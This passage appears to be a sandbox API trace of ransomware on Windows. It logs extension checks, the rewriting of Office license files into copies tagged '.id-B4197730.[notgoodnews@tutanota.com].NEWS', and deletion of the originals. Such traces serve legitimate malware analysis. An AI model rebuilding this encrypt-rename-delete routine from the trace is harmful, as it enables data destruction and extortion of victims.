(lpString=".rar") returned 4 [0179.088] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0179.088] lstrlenW (lpString=".bz2") returned 4 [0179.088] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0179.088] lstrlenW (lpString=".7z") returned 3 [0179.088] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0179.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72 [0179.088] lstrlenW (lpString=".dbf") returned 4 [0179.088] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0179.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72 [0179.088] lstrlenW (lpString=".1cd") returned 4 [0179.088] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0179.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72 [0179.088] lstrlenW (lpString=".jpg") returned 4 [0179.088] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0179.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72 [0179.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72 [0179.089] lstrlenW (lpString=".doc") returned 4 [0179.089] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0179.089] lstrlenW (lpString=".docx") returned 5 [0179.089] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0179.089] lstrlenW (lpString=".pdf") returned 4 [0179.089] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0179.089] lstrlenW (lpString=".xls") returned 4 [0179.089] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0179.089] lstrlenW (lpString=".xlsx") returned 5 [0179.089] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0179.089] lstrlenW (lpString=".ppt") returned 4 [0179.089] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0179.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72 [0179.089] lstrlenW (lpString=".zip") returned 4 [0179.089] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0179.089] lstrlenW (lpString=".rar") returned 4 [0179.089] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0179.089] lstrlenW (lpString=".bz2") returned 4 [0179.089] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0179.089] lstrlenW (lpString=".7z") returned 3 [0179.089] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0179.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72 [0179.089] lstrlenW (lpString=".dbf") returned 4 [0179.090] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0179.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72 [0179.090] lstrlenW (lpString=".1cd") returned 4 [0179.090] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0179.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72 [0179.090] lstrlenW (lpString=".jpg") returned 4 [0179.090] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0179.090] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0179.090] lstrlenW (lpString="ExcelR_Grace-ppd.xrm-ms") returned 23 [0179.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0179.091] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=20841) returned 1 [0179.091] CloseHandle (hObject=0x36c) returned 1 [0179.091] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ppd.xrm-ms")) returned 0x220 [0179.092] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0179.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0179.092] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.093] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0179.094] GetLastError () returned 0x0 [0179.094] ReadFile (in: hFile=0x36c, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x5169, lpOverlapped=0x0) returned 1 [0179.120] WriteFile (in: hFile=0x4dc, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x5170, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x5170, lpOverlapped=0x0) returned 1 [0179.122] ReadFile (in: hFile=0x36c, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0179.123] WriteFile (in: hFile=0x4dc, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x102, lpOverlapped=0x0) returned 1 [0179.123] SetEndOfFile (hFile=0x4dc) returned 1 [0179.123] CloseHandle (hObject=0x4dc) returned 1 [0179.123] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.123] SetEndOfFile (hFile=0x36c) returned 1 [0179.137] CloseHandle (hObject=0x36c) returned 1 [0179.137] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0179.139] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ppd.xrm-ms")) returned 1 [0179.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73 [0179.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73 [0179.145] lstrlenW (lpString=".doc") returned 4 [0179.145] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0179.145] lstrlenW (lpString=".docx") returned 5 [0179.145] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0179.145] lstrlenW (lpString=".pdf") returned 4 [0179.145] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0179.145] lstrlenW (lpString=".xls") returned 4 [0179.145] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0179.145] lstrlenW (lpString=".xlsx") returned 5 [0179.146] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0179.146] lstrlenW (lpString=".ppt") returned 4 [0179.146] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0179.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73 [0179.146] lstrlenW (lpString=".zip") returned 4 [0179.146] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0179.146] lstrlenW (lpString=".rar") returned 4 [0179.146] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0179.146] lstrlenW (lpString=".bz2") returned 4 [0179.146] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0179.146] lstrlenW (lpString=".7z") returned 3 [0179.146] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0179.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73 [0179.146] lstrlenW (lpString=".dbf") returned 4 [0179.146] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0179.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73 [0179.146] lstrlenW (lpString=".1cd") returned 4 [0179.146] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0179.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73 [0179.146] lstrlenW (lpString=".jpg") returned 4 [0179.147] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0179.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73 [0179.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73 [0179.147] lstrlenW (lpString=".doc") returned 4 [0179.147] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0179.147] lstrlenW (lpString=".docx") returned 5 [0179.147] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0179.147] lstrlenW (lpString=".pdf") returned 4 [0179.147] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0179.147] lstrlenW (lpString=".xls") returned 4 [0179.147] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0179.147] lstrlenW (lpString=".xlsx") returned 5 [0179.147] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0179.147] lstrlenW (lpString=".ppt") returned 4 [0179.147] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0179.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73 [0179.147] lstrlenW (lpString=".zip") returned 4 [0179.147] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0179.147] lstrlenW (lpString=".rar") returned 4 [0179.147] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0179.147] lstrlenW (lpString=".bz2") returned 4 [0179.147] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0179.147] lstrlenW (lpString=".7z") returned 3 [0179.148] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0179.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73 [0179.148] lstrlenW (lpString=".dbf") returned 4 [0179.148] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0179.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73 [0179.148] lstrlenW (lpString=".1cd") returned 4 [0179.148] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0179.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73 [0179.148] lstrlenW (lpString=".jpg") returned 4 [0179.148] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0179.148] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0179.148] lstrlenW (lpString="ExcelR_OEM_Perp-pl.xrm-ms") returned 25 [0179.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0179.151] GetFileSizeEx (in: hFile=0x4e8, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=10635) returned 1 [0179.151] CloseHandle (hObject=0x4e8) returned 1 [0179.151] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-pl.xrm-ms")) returned 0x220 [0179.151] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-pl.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0179.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0179.152] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.152] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-pl.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0179.474] GetLastError () returned 0x0 [0179.474] ReadFile (in: hFile=0x4e8, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x298b, lpOverlapped=0x0) returned 1 [0179.477] WriteFile (in: hFile=0x36c, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x2990, lpOverlapped=0x0) returned 1 [0179.479] ReadFile (in: hFile=0x4e8, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0179.479] WriteFile (in: hFile=0x36c, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x106, lpOverlapped=0x0) returned 1 [0179.479] SetEndOfFile (hFile=0x36c) returned 1 [0179.479] CloseHandle (hObject=0x36c) returned 1 [0179.479] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.479] SetEndOfFile (hFile=0x4e8) returned 1 [0179.483] CloseHandle (hObject=0x4e8) returned 1 [0179.483] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0179.487] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-pl.xrm-ms")) returned 1 [0179.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75 [0179.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75 [0179.489] lstrlenW (lpString=".doc") returned 4 [0179.489] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0179.489] lstrlenW (lpString=".docx") returned 5 [0179.489] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0179.489] lstrlenW (lpString=".pdf") returned 4 [0179.489] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0179.489] lstrlenW (lpString=".xls") returned 4 [0179.489] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0179.489] lstrlenW (lpString=".xlsx") returned 5 [0179.489] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0179.489] lstrlenW (lpString=".ppt") returned 4 [0179.489] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0179.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75 [0179.489] lstrlenW (lpString=".zip") returned 4 [0179.489] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0179.490] lstrlenW (lpString=".rar") returned 4 [0179.490] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0179.490] lstrlenW (lpString=".bz2") returned 4 [0179.490] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0179.490] lstrlenW (lpString=".7z") returned 3 [0179.490] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0179.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75 [0179.490] lstrlenW (lpString=".dbf") returned 4 [0179.490] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0179.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75 [0179.490] lstrlenW (lpString=".1cd") returned 4 [0179.490] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0179.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75 [0179.490] lstrlenW (lpString=".jpg") returned 4 [0179.490] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0179.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75 [0179.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75 [0179.490] lstrlenW (lpString=".doc") returned 4 [0179.490] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0179.490] lstrlenW (lpString=".docx") returned 5 [0179.490] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0179.490] lstrlenW (lpString=".pdf") returned 4 [0179.490] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0179.490] lstrlenW (lpString=".xls") returned 4 [0179.490] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0179.491] lstrlenW (lpString=".xlsx") returned 5 [0179.491] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0179.491] lstrlenW (lpString=".ppt") returned 4 [0179.491] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0179.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75 [0179.491] lstrlenW (lpString=".zip") returned 4 [0179.491] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0179.491] lstrlenW (lpString=".rar") returned 4 [0179.491] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0179.491] lstrlenW (lpString=".bz2") returned 4 [0179.491] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0179.491] lstrlenW (lpString=".7z") returned 3 [0179.491] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0179.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75 [0179.491] lstrlenW (lpString=".dbf") returned 4 [0179.491] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0179.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75 [0179.491] lstrlenW (lpString=".1cd") returned 4 [0179.491] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0179.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75 [0179.491] lstrlenW (lpString=".jpg") returned 4 [0179.492] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0179.492] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0179.492] lstrlenW (lpString="ExcelR_OEM_Perp-ppd.xrm-ms") returned 26 [0179.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0179.493] GetFileSizeEx (in: hFile=0x4e8, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=20846) returned 1 [0179.493] CloseHandle (hObject=0x4e8) returned 1 [0179.493] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ppd.xrm-ms")) returned 0x220 [0179.493] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0179.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0179.494] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.494] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0179.495] GetLastError () returned 0x0 [0179.495] ReadFile (in: hFile=0x4e8, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x516e, lpOverlapped=0x0) returned 1 [0179.499] WriteFile (in: hFile=0x36c, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x5170, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x5170, lpOverlapped=0x0) returned 1 [0179.501] ReadFile (in: hFile=0x4e8, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0179.501] WriteFile (in: hFile=0x36c, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x108, lpOverlapped=0x0) returned 1 [0179.501] SetEndOfFile (hFile=0x36c) returned 1 [0179.501] CloseHandle (hObject=0x36c) returned 1 [0179.501] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.501] SetEndOfFile (hFile=0x4e8) returned 1 [0179.515] CloseHandle (hObject=0x4e8) returned 1 [0179.515] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0179.515] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ppd.xrm-ms")) returned 1 [0179.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76 [0179.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76 [0179.517] lstrlenW (lpString=".doc") returned 4 [0179.517] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0179.517] lstrlenW (lpString=".docx") returned 5 [0179.517] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0179.517] lstrlenW (lpString=".pdf") returned 4 [0179.517] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0179.517] lstrlenW (lpString=".xls") returned 4 [0179.517] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0179.517] lstrlenW (lpString=".xlsx") returned 5 [0179.517] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0179.517] lstrlenW (lpString=".ppt") returned 4 [0179.517] 